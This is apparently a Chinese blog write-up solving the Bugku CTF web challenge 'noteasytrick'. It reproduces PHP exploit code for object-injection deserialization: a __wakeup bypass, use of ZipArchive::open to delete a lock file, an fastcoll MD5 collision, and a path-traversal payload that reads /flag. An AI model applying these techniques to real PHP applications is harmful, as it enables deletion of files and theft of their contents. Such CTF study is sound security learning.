Bugku WEB noteasytrick

原创

显哥无敌 于 2021-07-30 21:25:04 发布 229 收藏

分类专栏： BUGKU 文章标签： web安全

首先感谢大佬的文章，我是一直卡在如何删除lock文件，先放传送门：
https://blog.csdn.net/qq_53460654/article/details/116798346
这题的主要考点数ZipArchive类用open方法删除文件和fastcoll工具的运用

```php
<?php
error_reporting(0);
ini_set("display_errors","Off");
class Jesen {
    public $filename;
    public $content;
    public $me;

    function __wakeup(){
        $this->me = new Ctf();
    }
    function __destruct() {
        $this->me->open($this->filename,$this->content);
    }
}

class Ctf {
    function __toString() {
        return "die";
    }
    function open($filename, $content){
        if(!file_get_contents("./sandbox/lock.lock")){
            echo file_get_contents(substr($_POST['b'],0,30));
            die();
        }else{
            file_put_contents("./sandbox/".md5($filename.time()),$content);
            die("or you can guess the final filename?");
        }

    }
}

if(!isset($_POST['a'])){
    highlight_file(__FILE__);
    die();
}else{
    if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))){
        unserialize($_POST['c']);
    }

}
```

根据提示，flag在/flag下，那么先找 file_get_contents函数，那么就要调用ctf的open函数，然后需要过if循环
服务器上是存在lock.lock文件的，需要先带个函数过去，把他删了
先上脚本：<?php

```php
class Jesen {

    public $filename = './sandbox/lock.lock';
    public $content = 8;
    public $me;}
$a = new  Jesen();
$zip  = new  ZipArchive;
$a->me = $zip;
$b = serialize($a);
$b = str_replace('":3:','":4:',$b);
echo $b;
echo "\n";
?>
```

过了wakeup方法，避免构造ctf类，然后调用destruct方法，调用了ZipArchive的open方法，关于这里的content，为什么是8，参看了大佬的writeup也没得出答案，有懂得大哥可以评论

再次访问./sandbox/lock.lock发现404
然后思路就很明确了，过这个`if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a'])))`，但是读取文件地址是在b参数里的所以这里不能用数组绕过了
结合题意，这里需要fastcoll进行绕过
工具下载地址：https://www.zeroplace.cn/article.asp?id=886
生成两个内容不一样，但md5值一样的文件，文件地址是前三十位，所以我们需要前三十位的payload:./…/…/…/…/…/…/…/…/…/flag(文件夹内容是我们写入的源文件+生成的hash)
fastcoll -p 源文件 -o 1.txt 2.txt

```php
<?php
function readmyfile($path){
    $fh=fopen($path,"rb");
    $data=fread($fh,filesize($path));
    fclose($fh);
    return$data;
}
echo urlencode(readmyfile("1.txt"));
echo '==========================';
echo urlencode(readmyfile("2.txt"));?>
```

1.txt 2.txt分别是ab的值
c只要是一个jeson对象就好
参考视频链接： https://www.bilibili.com/video/BV1h64y1B7GN/